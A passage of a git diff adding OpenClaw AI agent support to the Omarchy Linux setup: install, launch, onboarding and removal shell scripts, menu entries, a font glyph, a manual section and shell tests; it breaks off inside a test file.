see omarchy-install-openclaw-cli. if [[ -n ${agent_installer:-} ]]; then # Not omarchy-cmd-present: the stub is on PATH from first boot and says # nothing about whether Hermes is installed behind it. Treating a cold stub diff --git a/bin/omarchy-install-ai-openclaw b/bin/omarchy-install-ai-openclaw new file mode 100755 index 00000000..cb79a9ad --- /dev/null +++ b/bin/omarchy-install-ai-openclaw @@ -0,0 +1,35 @@ +#!/bin/bash + +# omarchy:summary=Install the OpenClaw agent platform and its Control UI web app +# omarchy:requires-sudo=true + +set -e + +echo "Installing OpenClaw..." +omarchy-pkg-add openclaw + +# The desktop app is OpenClaw's Control UI: a web app served by its own +# gateway. The launcher entry goes through omarchy-launch-openclaw, which +# onboards or starts that gateway before opening the window. The icon ships +# inside the package, so nothing is fetched here. +echo "Installing the OpenClaw web app..." +omarchy-webapp-install OpenClaw "http://127.0.0.1:18789" \ + /usr/lib/node_modules/openclaw/dist/control-ui/apple-touch-icon.png \ + omarchy-launch-openclaw + +# A first install runs onboarding right here: launching the app instead would +# open a second floating terminal for the wizard, identical to this one. +# omarchy-openclaw-onboard runs the wizard the way this flow needs (terminal +# prompts, gateway as a user service, and it actually returns). A machine +# that is already onboarded goes straight to the app. +if [[ -f $HOME/.openclaw/openclaw.json ]]; then + echo "Opening OpenClaw..." + setsid uwsm-app -- gtk-launch OpenClaw >/dev/null 2>&1 & +elif omarchy-openclaw-onboard && [[ -f $HOME/.openclaw/openclaw.json ]]; then + echo "Opening OpenClaw..." + setsid uwsm-app -- gtk-launch OpenClaw >/dev/null 2>&1 & +fi + +echo "" +echo "OpenClaw has been installed." +echo "If you skipped onboarding, launching OpenClaw from the app grid resumes it." diff --git a/bin/omarchy-install-openclaw-cli b/bin/omarchy-install-openclaw-cli new file mode 100755 index 00000000..18e12317 --- /dev/null +++ b/bin/omarchy-install-openclaw-cli @@ -0,0 +1,29 @@ +#!/bin/bash + +# omarchy:summary=Ensure the OpenClaw CLI is installed for the default agent +# omarchy:args=[--check|--now] +# omarchy:requires-sudo=true + +# OpenClaw is not a mise tool: the openclaw pacman package is the one OpenClaw +# installation on the machine — the CLI, the gateway, and the Install > AI web +# app all share it, and the fast ring keeps it current. The default-agent flow +# talks to that package through the same --check/--now contract mise-backed +# agents get from mise itself. + +set -euo pipefail + +case "${1:---now}" in +--check) + omarchy-pkg-present openclaw + ;; +--now) + if ! omarchy-pkg-present openclaw; then + echo "Installing OpenClaw..." + omarchy-pkg-add openclaw + fi + ;; +*) + echo "Usage: omarchy-install-openclaw-cli [--check|--now]" >&2 + exit 1 + ;; +esac diff --git a/bin/omarchy-launch-openclaw b/bin/omarchy-launch-openclaw new file mode 100755 index 00000000..13ab6c24 --- /dev/null +++ b/bin/omarchy-launch-openclaw @@ -0,0 +1,91 @@ +#!/bin/bash + +# omarchy:summary=Open the OpenClaw Control UI (or its terminal UI with --tui), onboarding or starting the gateway first when needed. +# omarchy:args=[--tui [--message ]] + +set -euo pipefail + +tui=false +message=() +if [[ ${1:-} == "--tui" ]]; then + tui=true + shift + if [[ ${1:-} == "--message" ]]; then + message=(--message "${2:?--message needs a value}") + shift 2 + fi +fi + +# Onboarding is OpenClaw's own interactive wizard, run through +# omarchy-openclaw-onboard so it stays in the terminal, installs the gateway +# as a user service, and returns (see that script for why bare `openclaw +# onboard` does none of those as of 2026.9.1). The config check gates what +# follows because the wizard's "Skip for now" also exits 0: only inference +# that passed writes the config, and skipping must not loop back into the +# wizard. +if [[ ! -f $HOME/.openclaw/openclaw.json ]]; then + if [[ $tui == "true" ]]; then + # Already in a terminal, so the wizard runs right here. + omarchy-openclaw-onboard + [[ -f $HOME/.openclaw/openclaw.json ]] || exit 1 + else + # The wizard needs a real terminal, and chaining the relaunch means + # finishing it lands the user in the app. Single quotes so $HOME expands + # in the spawned terminal. + # shellcheck disable=SC2016 + exec omarchy-launch-floating-terminal-with-presentation \ + 'omarchy-openclaw-onboard && [[ -f $HOME/.openclaw/openclaw.json ]] && omarchy-launch-openclaw' + fi +fi + +dashboard_url() { + # browserUrl carries a single-use browser handoff; url is the shared-auth + # fallback for gateways predating the handoff flow. The timeout keeps a + # wedged CLI from hanging an app-grid launch that has no terminal to ^C. + timeout 10 openclaw dashboard --json 2>/dev/null | jq -re '.browserUrl // .url // empty' +} + +# --json never starts the gateway, so an empty answer means it is not running. +# Recovery goes through the gateway's own service commands. `dashboard --yes` +# used to be the start/install-without-prompting path, but as of 2026.9.1 it +# defers to "the owning supervisor" for both a missing and a stopped unit, +# and once the gateway is up it copies a one-time pairing URL into the +# clipboard, which nothing here needs. Enablement, not the unit file, decides: +# a unit that was written but never enabled (an install that died halfway) +# would otherwise be "started" once and stay off at every following login, +# where --force rewrites and enables it. +if ! url=$(dashboard_url); then + if systemctl --user is-enabled --quiet openclaw-gateway.service 2>/dev/null; then + timeout 60 openclaw gateway start >&2 || true + else + timeout 120 openclaw gateway install --force >&2 || true + fi + + # A first-ever service install (unit write, daemon-reload, first boot) + # takes materially longer than starting an installed unit, so the budget + # is sized for the slow case. + for _ in {1..30}; do + url=$(dashboard_url) && break + sleep 1 + done +fi + +if [[ -z ${url:-} ]]; then + echo "OpenClaw's gateway did not come up. Check it with: openclaw gateway status" >&2 + echo "If onboarding never finished, rerun it with: omarchy-openclaw-onboard" >&2 + exit 1 +fi + +if [[ $tui == "true" ]]; then + # Attach to the gateway rather than `openclaw chat`: chat is the embedded + # local runtime, which refuses to start while the gateway owns ~/.openclaw's + # state directory -- and on any machine set up through Install > AI, the + # gateway service is running whenever the desktop session is. + exec openclaw tui "${message[@]}" +fi + +# The handoff URL rides in the browser's argv, which uwsm's app daemon echoes +# into the user journal. Accepted: the token is single-use with a ten-minute +# expiry against a loopback-only gateway, and journal access already implies +# access to ~/.openclaw itself. +exec omarchy-launch-webapp "$url" diff --git a/bin/omarchy-openclaw-onboard b/bin/omarchy-openclaw-onboard new file mode 100755 index 00000000..5bac15bd --- /dev/null +++ b/bin/omarchy-openclaw-onboard @@ -0,0 +1,130 @@ +#!/bin/bash + +# omarchy:summary=Run OpenClaw's setup wizard the way Omarchy needs it: in the terminal, installing the gateway as a user service, and returning when it is done. + +# Not bare `openclaw onboard`: as of 2026.9.1 that is the guided flow, which +# ends by running a foreground gateway and handing off to a browser tab, and +# never returns. --install-daemon keeps it to the classic wizard (minimal +# prompts with --flow quickstart) that installs the gateway service, and +# --skip-ui drops its closing Control UI/TUI prompt since whoever called this +# opens one next. +# +# That classic wizard has one wrinkle: with --skip-ui it prints "Onboarding +# complete" and then never exits. Upstream only calls exit(0) when it launched +# the TUI, and the model sign-in leaves an open socket that keeps the process +# alive otherwise. So this script watches for the gateway to answer and then +# stops the wizard. That is safe because every prompt in the quickstart flow +# runs before the gateway service is installed and reachable: by the time the +# dashboard answers, only the closing notes are left. + +set -uo pipefail + +wizard=(openclaw onboard --flow quickstart --install-daemon --skip-ui) +config=$HOME/.openclaw/openclaw.json +settle_seconds=${OMARCHY_OPENCLAW_ONBOARD_SETTLE_SECONDS:-3} +# Counted from the moment the config exists, i.e. once the wizard has applied +# setup; the prompts before that take as long as the user takes. +gateway_timeout=${OMARCHY_OPENCLAW_ONBOARD_GATEWAY_TIMEOUT:-180} + +gateway_answers() { + timeout 10 openclaw dashboard --json 2>/dev/null | jq -e '.ok == true' >/dev/null 2>&1 +} + +# A gateway already answering means OpenClaw is set up, and this run must not +# read its own success off state that predates it: the wizard's repair pass +# would be stopped mid-prompt the moment the watcher looked. Nothing to do. +if [[ -f $config ]] && gateway_answers; then + echo "OpenClaw is already set up and its gateway is running." >&2 + echo "To change providers or settings, run: openclaw onboard --classic" >&2 + exit 0 +fi + +# Marks when this run began, so a config left behind by an earlier, incomplete +# setup is not mistaken for this run having applied its own: the gateway +# deadline below must not start ticking while the user is still at prompts. +started=$(mktemp) +trap 'rm -f "$started"' EXIT + +# Backgrounded so this script can watch it, but with the terminal kept as its +# stdin (bash would otherwise hand a background job /dev/null). Job control is +# off in a script, so it stays in the terminal's foreground process group and +# reads from it freely. Ctrl-C does not reach it directly, though: bash starts +# async children with SIGINT ignored when job control is off, so the INT trap +# below is what turns Ctrl-C into the wizard's exit. +"${wizard[@]}" <&0 & +wizard_pid=$! + +stop_wizard() { + kill -TERM "$wizard_pid" 2>/dev/null || true +} +# Any signal at this script, whether Ctrl-C from the terminal or a kill aimed +# at its pid alone, takes the wizard down with it rather than leaving it +# running unwatched. +trap 'stop_wizard' INT TERM HUP + +# Whether this run has applied setup: the config exists and is not older than +# the run itself. +config_applied() { + [[ -f $config && ! $started -nt $config ]] +} + +# Whether this run's gateway is up: setup applied, and the process answering +# on the gateway's port is the main process of the service the wizard +# installs. Not the dashboard alone: with no config on disk `openclaw +# dashboard --json` still probes the default loopback port, so a gateway left +# behind by something else (an earlier guided onboarding's foreground +# gateway, say) would read as this run's success while the user is still at +# the first prompt. And not the unit being active either: its Type=simple +# counts it active from the fork, before it has found the port taken by such +# an orphan, and the app would then open on the orphan rather than the +# service this run installed. +gateway_ready() { + config_applied || return 1 + local json port listener main_pid + json=$(timeout 10 openclaw dashboard --json 2>/dev/null) || return 1 + jq -e '.ok == true' <<<"$json" >/dev/null 2>&1 || return 1 + port=$(jq -r '.port // empty' <<<"$json" 2>/dev/null) + [[ -n $port ]] || return 1 + listener=$(ss -ltnpH "sport = :$port" 2>/dev/null | sed -n 's/.*pid=\([0-9]*\).*/\1/p' | head -1) + main_pid=$(systemctl --user show -p MainPID --value openclaw-gateway.service 2>/dev/null) + [[ -n $listener && -n $main_pid && $main_pid != 0 && $listener == "$main_pid" ]] +} + +stopped=false +timed_out=false +config_seen_at= +while kill -0 "$wizard_pid" 2>/dev/null; do + sleep 2 + if gateway_ready; then + # Let the outro finish printing, then end the process the wizard leaves + # running. + sleep "$settle_seconds" + stop_wizard + stopped=true + break + fi + config_applied || continue + : "${config_seen_at:=$SECONDS}" + if (( SECONDS - config_seen_at >= gateway_timeout )); then + # Setup was applied but the service never came up (port taken, unit + # failing, ...): the wizard would sit in its never-exiting state forever, + # and so would whoever is waiting on this script. + stop_wizard + timed_out=true + break + fi +done + +wait "$wizard_pid" +rc=$? + +if [[ $timed_out == true ]]; then + echo "OpenClaw's gateway did not come up within ${gateway_timeout}s of setup finishing." >&2 + echo "Check it with: openclaw gateway status" >&2 + exit 1 +fi +# A wizard stopped here after the gateway came up did its job. One that +# exited on its own, including a user who chose "Skip for now" (no config, +# non-zero), keeps its own exit code. +[[ $stopped == true ]] && rc=0 +exit "$rc" diff --git a/bin/omarchy-remove-ai-openclaw b/bin/omarchy-remove-ai-openclaw new file mode 100755 index 00000000..47658a20 --- /dev/null +++ b/bin/omarchy-remove-ai-openclaw @@ -0,0 +1,78 @@ +#!/bin/bash + +# omarchy:summary=Remove the OpenClaw agent platform along with its gateway service and web app. +# omarchy:requires-sudo=true + +# -u so an unset HOME is an error rather than a set of rm -rf paths rooted at /. +set -euo pipefail + +unit_dir="$HOME/.config/systemd/user" + +# Only systemd's own word counts as "stopped": a non-zero exit from is-active +# also covers an unreachable user manager, which says nothing about whether +# the process is alive. +unit_stopped() { + local state + state=$(systemctl --user is-active "$1" 2>/dev/null) || true + [[ $state == inactive || $state == failed ]] +} + +# The user services OpenClaw installs for itself: the gateway through +# onboarding, and the node host if the user ever paired this machine to +# another gateway. OpenClaw writes them to $HOME/.config regardless of +# XDG_CONFIG_HOME, so look exactly there; no unit means nothing registered. +# Upstream's own teardown knows every piece its install wrote (unit file, the +# default.target.wants enablement symlink, the reload), so prefer it while the +# binary is still installed and fall back to doing the same by hand. A service +# that will not stop aborts the removal: dropping the package would strand the +# live process on deleted code with no way to restart it cleanly. +for unit_file in "$unit_dir"/openclaw-gateway.service "$unit_dir"/openclaw-node.service; do + [[ -f $unit_file ]] || continue + unit=${unit_file##*/} + role=${unit#openclaw-} + role=${role%.service} + if openclaw "$role" uninstall >/dev/null 2>&1 || + systemctl --user disable --now "$unit" 2>/dev/null || + unit_stopped "$unit"; then + # .bak is what `gateway install --force` leaves behind when it rewrites a + # unit, so it goes with the unit. + rm -f "$unit_file" "$unit_file.bak" "$unit_dir/default.target.wants/$unit" + systemctl --user daemon-reload 2>/dev/null || true + # A unit that had been failing stays listed as "not-found failed" after + # its file is gone until its failed state is reset. + systemctl --user reset-failed "$unit" 2>/dev/null || true + else + echo "Could not stop $unit; OpenClaw was not removed." >&2 + exit 1 + fi +done + +omarchy-pkg-drop openclaw + +# The web app launcher and icon omarchy-install-ai-openclaw created. +rm -f "$HOME/.local/share/applications/OpenClaw.desktop" +rm -f "$HOME/.local/share/icons/hicolor/256x256/apps/openclaw.png" +gtk-update-icon-cache "$HOME/.local/share/icons/hicolor" &>/dev/null || true + +# ~/.openclaw stays unless asked: the chats, memories, and credentials in +# there are the user's agent, and finding them intact after a reinstall is the +# better surprise. But it also holds the plugin runtimes and caches OpenClaw +# downloads for itself, easily hundreds of megabytes, so the choice is put in +# front of the user with the size rather than left silent. Without a terminal +# to ask in, keeping it is the answer. +state_removed=false +if [[ -d $HOME/.openclaw && -t 0 ]] && command -v gum >/dev/null; then + size=$(du -sh "$HOME/.openclaw" 2>/dev/null | cut -f1) + if gum confirm --default=false "Also delete ~/.openclaw ($size: chats, memories, credentials, and downloaded plugins)?"; then + rm -rf "$HOME/.openclaw" + state_removed=true + fi +fi + +echo "" +echo "OpenClaw has been removed." +if [[ $state_removed == true ]]; then + echo "Its chats, memories, and settings in ~/.openclaw are gone too." +elif [[ -d $HOME/.openclaw ]]; then + echo "Your agent's chats, memories, and settings are still in ~/.openclaw." +fi diff --git a/default/fonts/omarchy/README.md b/default/fonts/omarchy/README.md index 03b8a909..a4ab6935 100644 --- a/default/fonts/omarchy/README.md +++ b/default/fonts/omarchy/README.md @@ -13,6 +13,7 @@ The private-use glyphs in `omarchy.ttf` are: - `U+E908` — T3 Code, traced from the app icon in , since upstream publishes no monochrome SVG - `U+E909` — Ori, from , OpenRouter's own mark: Ori ships no separate logo and its product page uses this one - `U+E90A` — Hermes, Font Awesome's staff-snake (CC BY 4.0) from , the mark Hermes serves as its favicon: their app icon is a portrait that reads as a smudge at menu size +- `U+E90C` — OpenClaw, traced from the lobster mascot the openclaw package ships as `dist/control-ui/favicon.svg`, since upstream publishes no monochrome SVG; `E90B` is left for the Perplexity mark already in flight on another branch The agent marks are monochrome so the menu can render them using the active theme's foreground and selection colors. diff --git a/default/fonts/omarchy/omarchy.ttf b/default/fonts/omarchy/omarchy.ttf index 1ddeb85ce255a899a563eb985e070a6f63f47258..fb9d22a74a6638b60b4f3a701a081a36169fe3db 100644 GIT binary patch delta 722 zcmZ8dL1+_E5S{-w*`#UOY_iEl)+jdVu4xQanl@Q#TT48M>A_-ycqr0s8jZMVg0{82 zv=uLcpw(Y$(Su4osswWJ5Y)RUh#ow6kRH?=1d$#J#jLZzg2?b@-h1(x&--uT z*%~5QK*LFFt;n|!orU7eyvs$;;`}=50i%@D{X4=v0B##~tfZzuuoiyv1K8^z1ps`bs^<&H9LNm@$O|^ zWRiUllqI+iMHp_zQ_KcbU<}9Y2o4cP*buADQ6M37t@UxNuBLB;0#*qGba>Dqhq?$Q zxC{$*sJrTJ)5QM&KCygr!xT5nhvu5eFm4A)&>3_9VUKCh&@}H_}9A{?_oLkgGt9M)8an)SgYeElE=J7~uz>}g! zDVy{BUb5peZ*tGLS=a|r{MutMf}a*{rvd+d8Vn@*j!04p%MjPs+f9ke^Fc{Urjlw$ zc$cY4Z!*y%1^j#@tfv0q6tauim^wTf8wo^wBeBt8HI`j$T+@c!K2g&|L8j;WL$Y9T zpL?hQvM9-Qj~kjcmmh5Gh@rHiIO0k)5{W8thoYoI onopK}){eimI_3RAh@YJnRZ7~}ym-9TSt{qJbB2Bu;7-l>1M@+n#{d8T delta 516 zcmZ9HPe>GD7{;G>X4YBP&Dmv^JQx|Qn=33S4U~rtL4gQGkkBd6VcpupjJwnpyC6sx z5eh24{zG_By5vEas|a=r>5m65o;;Z4pG$%uflSYAo|=#6d*0vky&vy4bG?f_&rVKa z5rB7NxbOU})uBN^^5oH??^buz+Xi_W(Aw{MjXO7&%$I=v21u@#OYYdYspKJ$snO)3^S(IF`=bv-Bi5w@v_-!I zY<~OvAo8u(E5pw>F1FYa7)tc6JR2@k?ikn}ck1 US~`QZ^qz>VKG|p0j(tV&7h2tStpET3 diff --git a/default/omarchy/omarchy-menu.jsonc b/default/omarchy/omarchy-menu.jsonc index 30ee45fc..a82254c6 100644 --- a/default/omarchy/omarchy-menu.jsonc +++ b/default/omarchy/omarchy-menu.jsonc @@ -143,6 +143,7 @@ "setup.default.agent.grok": {"icon":"","iconFont":"omarchy","label":"Grok","checked":"[[ \"$(omarchy-default-agent)\" == \"grok\" ]]","action":"omarchy-default-agent grok"}, "setup.default.agent.hermes": {"icon":"","iconFont":"omarchy","label":"Hermes","checked":"[[ \"$(omarchy-default-agent)\" == \"hermes\" ]]","action":"omarchy-default-agent hermes"}, "setup.default.agent.omp": {"icon":"","iconFont":"omarchy","label":"omp","checked":"[[ \"$(omarchy-default-agent)\" == \"omp\" ]]","action":"omarchy-default-agent omp"}, + "setup.default.agent.openclaw": {"icon":"","iconFont":"omarchy","label":"OpenClaw","checked":"[[ \"$(omarchy-default-agent)\" == \"openclaw\" ]]","action":"omarchy-default-agent openclaw"}, "setup.default.agent.opencode": {"icon":"","iconFont":"omarchy","label":"OpenCode","checked":"[[ \"$(omarchy-default-agent)\" == \"opencode\" ]]","action":"omarchy-default-agent opencode"}, "setup.default.agent.ori": {"icon":"","iconFont":"omarchy","label":"Ori","checked":"[[ \"$(omarchy-default-agent)\" == \"ori\" ]]","action":"omarchy-default-agent ori"}, "setup.default.agent.pi": {"icon":"","iconFont":"omarchy","label":"Pi","checked":"[[ \"$(omarchy-default-agent)\" == \"pi\" ]]","action":"omarchy-default-agent pi"}, @@ -243,6 +244,7 @@ "install.ai.hermes": {"icon":"","iconFont":"omarchy","label":"Hermes Desktop","disabled":"omarchy-pkg-present hermes-desktop","action":"omarchy-launch-floating-terminal-with-presentation omarchy-install-ai-hermes"}, "install.ai.lm-studio": {"icon":"","iconFont":"omarchy","label":"LM Studio","disabled":"omarchy-pkg-present lmstudio-bin","action":"omarchy-install-app 'LM Studio' lmstudio-bin"}, "install.ai.ollama": {"icon":"","iconFont":"omarchy","label":"Ollama","disabled":"omarchy-cmd-present ollama","action":"if omarchy-cmd-present nvidia-smi; then ollama_pkg=ollama-cuda; elif omarchy-cmd-present rocminfo; then ollama_pkg=ollama-rocm; else ollama_pkg=ollama; fi; omarchy-install-app Ollama \"$ollama_pkg\""}, + "install.ai.openclaw": {"icon":"","iconFont":"omarchy","label":"OpenClaw","disabled":"omarchy-pkg-present openclaw","action":"omarchy-launch-floating-terminal-with-presentation omarchy-install-ai-openclaw"}, "install.ai.t3-code": {"icon":"","iconFont":"omarchy","label":"T3 Code","disabled":"omarchy-pkg-present t3code-bin","action":"omarchy-install-and-launch 'T3 Code' t3code-bin t3code"}, "install.gaming.steam": {"icon":"","label":"Steam","disabled":"omarchy-pkg-present steam","action":"omarchy-launch-floating-terminal-with-presentation omarchy-install-gaming-steam"}, "install.gaming.retroarch": {"icon":"󰯉","label":"RetroArch","disabled":"omarchy-pkg-present retroarch","action":"omarchy-launch-floating-terminal-with-presentation omarchy-install-gaming-retroarch"}, @@ -308,6 +310,7 @@ "remove.ai.grok-bot": {"icon":"","iconFont":"omarchy","label":"Grok Bot","when":"omarchy-pkg-present grok-bot","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-ai-grok-bot"}, "remove.ai.lm-studio": {"icon":"","iconFont":"omarchy","label":"LM Studio","when":"omarchy-pkg-present lmstudio-bin","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-ai-lm-studio"}, "remove.ai.ollama": {"icon":"","iconFont":"omarchy","label":"Ollama","when":"omarchy-pkg-present ollama","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-ai-ollama"}, + "remove.ai.openclaw": {"icon":"","iconFont":"omarchy","label":"OpenClaw","when":"omarchy-pkg-present openclaw","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-ai-openclaw"}, "remove.ai.t3-code": {"icon":"","iconFont":"omarchy","label":"T3 Code","when":"omarchy-pkg-present t3code-bin","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-ai-t3-code"}, "remove.gaming.steam": {"icon":"","label":"Steam","when":"omarchy-pkg-present steam","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-gaming-steam"}, "remove.gaming.retroarch": {"icon":"","label":"RetroArch","when":"omarchy-pkg-present retroarch","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-gaming-retroarch"}, diff --git a/manual/17-ai.md b/manual/17-ai.md index 78b51430..f94c3546 100644 --- a/manual/17-ai.md +++ b/manual/17-ai.md @@ -44,10 +44,12 @@ Crashes can also be silenced one program at a time, which is what the diagnosis ### Desktop apps -The _Install > AI_ menu also carries a few graphical AI apps: the ChatGPT desktop app, Grok Bot for chatting with xAI's models, and Hermes Desktop. +The _Install > AI_ menu also carries a few graphical AI apps: the ChatGPT desktop app, Grok Bot for chatting with xAI's models, Hermes Desktop, and OpenClaw. Hermes Desktop is the one to know about, because there is only ever one Hermes on a machine. The app only runs against a runtime built from its own commit, so it installs one of its own under `~/.hermes` on first launch, which takes a few minutes and shows its own progress. From then on that is the Hermes the terminal `hermes` command and the default agent use too, whichever order you installed them in. Removing the app under _Remove > AI_ takes that runtime with it, and keeps your chats, memories, and the skills Hermes wrote for itself. +OpenClaw's desktop experience is its Control UI, which opens as a web app backed by its own local gateway. OpenClaw updates arrive through Omarchy's package updates, so skip the Control UI's own "Update Gateway" button: it would try to write into the package-managed install and fail. Removing OpenClaw under _Remove > AI_ takes the gateway service and the app with it and then asks whether `~/.openclaw` should go too, since that holds your chats and credentials alongside the plugin runtimes OpenClaw downloads for itself; the default keeps it. + ### Local LLMs Omarchy recommends two ways of running local LLM models: LM Studio and Ollama. LM Studio provides a GUI interface for finding open-weight models, installing them, and running them. It's a great way to get going easily. Ollama offers a CLI for doing so similarly. But if you're new to local models, I'd start with LM Studio. You can install either under _Install > AI_ in the Omarchy Menu. diff --git a/test/shell.d/default-agent-test.sh b/test/shell.d/default-agent-test.sh index f421fabb..6a2f15b2 100644 --- a/test/shell.d/default-agent-test.sh +++ b/test/shell.d/default-agent-test.sh @@ -542,3 +542,68 @@ fi grep -F "missing is not installed" "$test_tmp/missing-output" >/dev/null || fail "agent launcher explains when the default command is missing" pass "agent launcher reports a missing default command" + +# OpenClaw comes from its pacman package, not mise: choosing it must route +# through omarchy-install-openclaw-cli and never touch a mise environment. +cat >"$mock_bin/omarchy-pkg-present" <<'SH' +#!/bin/bash +[[ $1 == openclaw && ${OMARCHY_TEST_OPENCLAW_INSTALLED:-false} == "true" ]] +SH +cat >"$mock_bin/omarchy-pkg-add" <<'SH' +#!/bin/bash +printf '%s\n' "pkg-add $*" >>"$OMARCHY_TEST_STUB_LOG" +SH +cat >"$mock_bin/omarchy-launch-openclaw" <<'SH' +#!/bin/bash +printf '%s\0' omarchy-launch-openclaw "$@" >"$OMARCHY_TEST_AGENT_INLINE_LOG" +SH +cat >"$mock_bin/openclaw" <<'SH' +#!/bin/bash +exit 0 +SH +chmod +x "$mock_bin/omarchy-pkg-present" "$mock_bin/omarchy-pkg-add" \ + "$mock_bin/omarchy-launch-openclaw" "$mock_bin/openclaw" + +: >"$launch_log" +: >"$terminal_log" +: >"$mise_history" +OMARCHY_TEST_OPENCLAW_INSTALLED=true omarchy-default-agent openclaw +read -r chosen <"$agent_file" +[[ $chosen == openclaw ]] || fail "choosing OpenClaw records it as the default agent" +mapfile -d '' -t launch_args <"$launch_log" +[[ ${launch_args[*]} == "--app-id=org.omarchy.agent omarchy-launch-openclaw --tui" ]] || + fail "choosing OpenClaw launches its terminal UI" +[[ ! -s $terminal_log ]] || fail "an installed OpenClaw needs no install terminal" +! grep -q 'use -g openclaw' "$mise_history" || fail "OpenClaw never installs through mise" +pass "choosing OpenClaw uses the package and launches its terminal UI" + +: >"$terminal_log" +OMARCHY_TEST_OPENCLAW_INSTALLED=false omarchy-default-agent openclaw +mapfile -d '' -t terminal_args <"$terminal_log" +[[ ${terminal_args[*]} == "omarchy-default-agent --install openclaw" ]] || + fail "a missing OpenClaw routes through the install terminal" +pass "a missing OpenClaw routes through the install terminal" + +: >"$stub_log" +: >"$inline_log" +OMARCHY_TEST_OPENCLAW_INSTALLED=false omarchy-default-agent --install openclaw >/dev/null +grep -Fx "pkg-add openclaw" "$stub_log" >/dev/null || + fail "installing OpenClaw as default agent adds its package" +mapfile -d '' -t inline_args <"$inline_log" +[[ ${inline_args[*]} == "omarchy-launch-openclaw --tui" ]] || + fail "installing OpenClaw as default agent hands over to its terminal UI" +pass "installing OpenClaw as default agent adds its package" + +: >"$launch_log" +omarchy agent prompt "Review this project" +mapfile -d '' -t launch_args <"$launch_log" +# Element-wise: the prompt must travel as one argv entry, which a space-joined +# comparison could not tell apart from a prompt split into words. +[[ ${#launch_args[@]} == 5 && + ${launch_args[0]} == "--app-id=org.omarchy.agent" && + ${launch_args[1]} == "omarchy-launch-openclaw" && + ${launch_args[2]} == "--tui" && + ${launch_args[3]} == "--message" && + ${launch_args[4]} == "Review this project" ]] || + fail "OpenClaw receives prompts through --message" "argv: ${launch_args[*]}" +pass "OpenClaw receives prompts through --message" diff --git a/test/shell.d/launch-openclaw-test.sh b/test/shell.d/launch-openclaw-test.sh new file mode 100755 index 00000000..4c443e07 --- /dev/null +++ b/test/shell.d/launch-openclaw-test.sh @@ -0,0 +1,189 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +tmp_dir="$(mktemp -d)" +trap 'rm -rf "$tmp_dir"' EXIT + +mkdir -p "$tmp_dir/bin" "$tmp_dir/home" +export TEST_LOG="$tmp_dir/log" +export PATH="$tmp_dir/bin:$PATH" +export HOME="$tmp_dir/home" + +for stub in omarchy-launch-webapp omarchy-launch-floating-terminal-with-presentation omarchy-openclaw-onboard; do + cat >"$tmp_dir/bin/$stub" <